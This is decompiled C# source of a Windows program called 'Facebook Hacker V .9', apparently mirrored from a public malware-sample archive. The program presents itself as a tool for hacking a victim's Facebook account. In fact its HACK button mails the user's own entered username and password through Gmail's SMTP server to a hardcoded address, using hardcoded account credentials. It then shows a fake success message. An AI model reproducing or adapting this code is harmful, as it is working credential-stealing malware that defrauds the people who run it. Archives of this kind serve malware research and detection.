mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
391 lines
14 KiB
C#
391 lines
14 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Facebook_Hacker_V._9.Form1
|
|||
|
// Assembly: Facebook_Hacker_V._9, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: CFD63BAC-76DE-4D07-BDC2-B460826D976D
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\HackTool.Win32.Koobface.a-7b67369767465c4cc73553b90c445907f437ba1ed890c405e2e6b415ec618332.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Net;
|
|||
|
using System.Net.Mail;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace Facebook_Hacker_V._9
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class Form1 : Form
|
|||
|
{
|
|||
|
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
|||
|
private IContainer components;
|
|||
|
[AccessedThroughProperty("PictureBox1")]
|
|||
|
private PictureBox _PictureBox1;
|
|||
|
[AccessedThroughProperty("Label1")]
|
|||
|
private Label _Label1;
|
|||
|
[AccessedThroughProperty("TextBox1")]
|
|||
|
private TextBox _TextBox1;
|
|||
|
[AccessedThroughProperty("Label2")]
|
|||
|
private Label _Label2;
|
|||
|
[AccessedThroughProperty("TextBox2")]
|
|||
|
private TextBox _TextBox2;
|
|||
|
[AccessedThroughProperty("Label3")]
|
|||
|
private Label _Label3;
|
|||
|
[AccessedThroughProperty("TextBox3")]
|
|||
|
private TextBox _TextBox3;
|
|||
|
[AccessedThroughProperty("Label4")]
|
|||
|
private Label _Label4;
|
|||
|
[AccessedThroughProperty("Button1")]
|
|||
|
private Button _Button1;
|
|||
|
[AccessedThroughProperty("ProgressBar1")]
|
|||
|
private ProgressBar _ProgressBar1;
|
|||
|
[AccessedThroughProperty("Timer1")]
|
|||
|
private System.Windows.Forms.Timer _Timer1;
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
static Form1()
|
|||
|
{
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
public Form1()
|
|||
|
{
|
|||
|
Form1.__ENCAddToList((object) this);
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
private static void __ENCAddToList(object value)
|
|||
|
{
|
|||
|
lock (Form1.__ENCList)
|
|||
|
{
|
|||
|
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
|
|||
|
{
|
|||
|
int index1 = 0;
|
|||
|
int num = checked (Form1.__ENCList.Count - 1);
|
|||
|
int index2 = 0;
|
|||
|
while (index2 <= num)
|
|||
|
{
|
|||
|
if (Form1.__ENCList[index2].IsAlive)
|
|||
|
{
|
|||
|
if (index2 != index1)
|
|||
|
Form1.__ENCList[index1] = Form1.__ENCList[index2];
|
|||
|
checked { ++index1; }
|
|||
|
}
|
|||
|
checked { ++index2; }
|
|||
|
}
|
|||
|
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
|
|||
|
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
|
|||
|
}
|
|||
|
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
this.components = (IContainer) new System.ComponentModel.Container();
|
|||
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
|
|||
|
this.PictureBox1 = new PictureBox();
|
|||
|
this.Label1 = new Label();
|
|||
|
this.TextBox1 = new TextBox();
|
|||
|
this.Label2 = new Label();
|
|||
|
this.TextBox2 = new TextBox();
|
|||
|
this.Label3 = new Label();
|
|||
|
this.TextBox3 = new TextBox();
|
|||
|
this.Label4 = new Label();
|
|||
|
this.Button1 = new Button();
|
|||
|
this.ProgressBar1 = new ProgressBar();
|
|||
|
this.Timer1 = new System.Windows.Forms.Timer(this.components);
|
|||
|
((ISupportInitialize) this.PictureBox1).BeginInit();
|
|||
|
this.SuspendLayout();
|
|||
|
this.PictureBox1.BackgroundImage = (Image) Facebook_Hacker_V._9.My.Resources.Resources.FaceBook_256x256;
|
|||
|
this.PictureBox1.ErrorImage = (Image) null;
|
|||
|
PictureBox pictureBox1_1 = this.PictureBox1;
|
|||
|
Point point1 = new Point(500, 1);
|
|||
|
Point point2 = point1;
|
|||
|
pictureBox1_1.Location = point2;
|
|||
|
this.PictureBox1.Name = "PictureBox1";
|
|||
|
PictureBox pictureBox1_2 = this.PictureBox1;
|
|||
|
Size size1 = new Size(250, 237);
|
|||
|
Size size2 = size1;
|
|||
|
pictureBox1_2.Size = size2;
|
|||
|
this.PictureBox1.TabIndex = 0;
|
|||
|
this.PictureBox1.TabStop = false;
|
|||
|
this.Label1.AutoSize = true;
|
|||
|
this.Label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.Label1.ForeColor = SystemColors.Control;
|
|||
|
Label label1_1 = this.Label1;
|
|||
|
point1 = new Point(12, 82);
|
|||
|
Point point3 = point1;
|
|||
|
label1_1.Location = point3;
|
|||
|
this.Label1.Name = "Label1";
|
|||
|
Label label1_2 = this.Label1;
|
|||
|
size1 = new Size(83, 20);
|
|||
|
Size size3 = size1;
|
|||
|
label1_2.Size = size3;
|
|||
|
this.Label1.TabIndex = 1;
|
|||
|
this.Label1.Text = "Username";
|
|||
|
TextBox textBox1_1 = this.TextBox1;
|
|||
|
point1 = new Point(101, 84);
|
|||
|
Point point4 = point1;
|
|||
|
textBox1_1.Location = point4;
|
|||
|
this.TextBox1.Name = "TextBox1";
|
|||
|
TextBox textBox1_2 = this.TextBox1;
|
|||
|
size1 = new Size(149, 20);
|
|||
|
Size size4 = size1;
|
|||
|
textBox1_2.Size = size4;
|
|||
|
this.TextBox1.TabIndex = 2;
|
|||
|
this.Label2.AutoSize = true;
|
|||
|
this.Label2.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.Label2.ForeColor = SystemColors.ControlLightLight;
|
|||
|
Label label2_1 = this.Label2;
|
|||
|
point1 = new Point(12, 113);
|
|||
|
Point point5 = point1;
|
|||
|
label2_1.Location = point5;
|
|||
|
this.Label2.Name = "Label2";
|
|||
|
Label label2_2 = this.Label2;
|
|||
|
size1 = new Size(78, 20);
|
|||
|
Size size5 = size1;
|
|||
|
label2_2.Size = size5;
|
|||
|
this.Label2.TabIndex = 3;
|
|||
|
this.Label2.Text = "Password";
|
|||
|
TextBox textBox2_1 = this.TextBox2;
|
|||
|
point1 = new Point(101, 115);
|
|||
|
Point point6 = point1;
|
|||
|
textBox2_1.Location = point6;
|
|||
|
this.TextBox2.Name = "TextBox2";
|
|||
|
this.TextBox2.PasswordChar = '*';
|
|||
|
TextBox textBox2_2 = this.TextBox2;
|
|||
|
size1 = new Size(149, 20);
|
|||
|
Size size6 = size1;
|
|||
|
textBox2_2.Size = size6;
|
|||
|
this.TextBox2.TabIndex = 4;
|
|||
|
this.Label3.AutoSize = true;
|
|||
|
this.Label3.Font = new Font("Microsoft Sans Serif", 21.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.Label3.ForeColor = SystemColors.Control;
|
|||
|
Label label3_1 = this.Label3;
|
|||
|
point1 = new Point(10, 9);
|
|||
|
Point point7 = point1;
|
|||
|
label3_1.Location = point7;
|
|||
|
this.Label3.Name = "Label3";
|
|||
|
Label label3_2 = this.Label3;
|
|||
|
size1 = new Size(303, 33);
|
|||
|
Size size7 = size1;
|
|||
|
label3_2.Size = size7;
|
|||
|
this.Label3.TabIndex = 5;
|
|||
|
this.Label3.Text = "Facebook Hacker V .9";
|
|||
|
TextBox textBox3_1 = this.TextBox3;
|
|||
|
point1 = new Point(166, 177);
|
|||
|
Point point8 = point1;
|
|||
|
textBox3_1.Location = point8;
|
|||
|
this.TextBox3.Name = "TextBox3";
|
|||
|
TextBox textBox3_2 = this.TextBox3;
|
|||
|
size1 = new Size(169, 20);
|
|||
|
Size size8 = size1;
|
|||
|
textBox3_2.Size = size8;
|
|||
|
this.TextBox3.TabIndex = 6;
|
|||
|
this.Label4.AutoSize = true;
|
|||
|
this.Label4.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|||
|
this.Label4.ForeColor = SystemColors.Control;
|
|||
|
Label label4_1 = this.Label4;
|
|||
|
point1 = new Point(198, 154);
|
|||
|
Point point9 = point1;
|
|||
|
label4_1.Location = point9;
|
|||
|
this.Label4.Name = "Label4";
|
|||
|
Label label4_2 = this.Label4;
|
|||
|
size1 = new Size(100, 20);
|
|||
|
Size size9 = size1;
|
|||
|
label4_2.Size = size9;
|
|||
|
this.Label4.TabIndex = 7;
|
|||
|
this.Label4.Text = "Victim E-mail";
|
|||
|
this.Button1.Font = new Font("Microsoft Sans Serif", 15.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|||
|
Button button1_1 = this.Button1;
|
|||
|
point1 = new Point(166, 203);
|
|||
|
Point point10 = point1;
|
|||
|
button1_1.Location = point10;
|
|||
|
this.Button1.Name = "Button1";
|
|||
|
Button button1_2 = this.Button1;
|
|||
|
size1 = new Size(169, 59);
|
|||
|
Size size10 = size1;
|
|||
|
button1_2.Size = size10;
|
|||
|
this.Button1.TabIndex = 8;
|
|||
|
this.Button1.Text = "HACK";
|
|||
|
this.Button1.UseVisualStyleBackColor = true;
|
|||
|
ProgressBar progressBar1_1 = this.ProgressBar1;
|
|||
|
point1 = new Point(16, 268);
|
|||
|
Point point11 = point1;
|
|||
|
progressBar1_1.Location = point11;
|
|||
|
this.ProgressBar1.Name = "ProgressBar1";
|
|||
|
ProgressBar progressBar1_2 = this.ProgressBar1;
|
|||
|
size1 = new Size(482, 40);
|
|||
|
Size size11 = size1;
|
|||
|
progressBar1_2.Size = size11;
|
|||
|
this.ProgressBar1.TabIndex = 9;
|
|||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
this.BackColor = SystemColors.ActiveCaptionText;
|
|||
|
size1 = new Size(749, 328);
|
|||
|
this.ClientSize = size1;
|
|||
|
this.Controls.Add((Control) this.ProgressBar1);
|
|||
|
this.Controls.Add((Control) this.Button1);
|
|||
|
this.Controls.Add((Control) this.Label4);
|
|||
|
this.Controls.Add((Control) this.TextBox3);
|
|||
|
this.Controls.Add((Control) this.Label3);
|
|||
|
this.Controls.Add((Control) this.TextBox2);
|
|||
|
this.Controls.Add((Control) this.Label2);
|
|||
|
this.Controls.Add((Control) this.TextBox1);
|
|||
|
this.Controls.Add((Control) this.Label1);
|
|||
|
this.Controls.Add((Control) this.PictureBox1);
|
|||
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|||
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
|||
|
this.MaximizeBox = false;
|
|||
|
this.Name = nameof (Form1);
|
|||
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|||
|
this.Text = "Facebook Hacker V .9";
|
|||
|
((ISupportInitialize) this.PictureBox1).EndInit();
|
|||
|
this.ResumeLayout(false);
|
|||
|
this.PerformLayout();
|
|||
|
}
|
|||
|
|
|||
|
internal virtual PictureBox PictureBox1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._PictureBox1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Label1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual TextBox TextBox1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._TextBox1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label2
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Label2;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual TextBox TextBox2
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._TextBox2;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label3
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Label3;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual TextBox TextBox3
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._TextBox3;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label4
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Label4;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Button Button1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Button1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
|||
|
{
|
|||
|
EventHandler eventHandler = new EventHandler(this.Button1_Click);
|
|||
|
if (this._Button1 != null)
|
|||
|
this._Button1.Click -= eventHandler;
|
|||
|
this._Button1 = value;
|
|||
|
if (this._Button1 == null)
|
|||
|
return;
|
|||
|
this._Button1.Click += eventHandler;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
internal virtual ProgressBar ProgressBar1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._ProgressBar1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ProgressBar1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual System.Windows.Forms.Timer Timer1
|
|||
|
{
|
|||
|
[DebuggerNonUserCode] get => this._Timer1;
|
|||
|
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
|||
|
{
|
|||
|
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
|||
|
if (this._Timer1 != null)
|
|||
|
this._Timer1.Tick -= eventHandler;
|
|||
|
this._Timer1 = value;
|
|||
|
if (this._Timer1 == null)
|
|||
|
return;
|
|||
|
this._Timer1.Tick += eventHandler;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
private void Timer1_Tick(object sender, EventArgs e)
|
|||
|
{
|
|||
|
this.ProgressBar1.Increment(1);
|
|||
|
if (this.ProgressBar1.Value != 100)
|
|||
|
;
|
|||
|
}
|
|||
|
|
|||
|
private void Button1_Click(object sender, EventArgs e)
|
|||
|
{
|
|||
|
if (Operators.CompareString(this.TextBox1.Text, "", false) == 0)
|
|||
|
{
|
|||
|
int num1 = (int) Interaction.MsgBox((object) "Username Is Missing");
|
|||
|
if (Operators.CompareString(this.TextBox2.Text, "", false) == 0)
|
|||
|
{
|
|||
|
int num2 = (int) Interaction.MsgBox((object) "Password Is Missing");
|
|||
|
}
|
|||
|
}
|
|||
|
SmtpClient smtpClient = new SmtpClient();
|
|||
|
MailMessage mailMessage = new MailMessage();
|
|||
|
smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential("todorovic.todorovic25@gmail.com", "todorovic");
|
|||
|
smtpClient.Port = 587;
|
|||
|
smtpClient.Host = "smtp.gmail.com";
|
|||
|
smtpClient.EnableSsl = true;
|
|||
|
smtpClient.Send(new MailMessage()
|
|||
|
{
|
|||
|
From = new MailAddress("todorovic.todorovic25@gmail.com"),
|
|||
|
To = {
|
|||
|
"todorovic.todorovic25@gmail.com"
|
|||
|
},
|
|||
|
Subject = "Username: " + this.TextBox1.Text,
|
|||
|
Body = "Username : " + this.TextBox1.Text + ", Password : " + this.TextBox2.Text
|
|||
|
});
|
|||
|
this.Timer1.Start();
|
|||
|
int num = (int) Interaction.MsgBox((object) "Successfully hacking, password is located in C/:Documents");
|
|||
|
}
|
|||
|
}
|
|||
|
}
|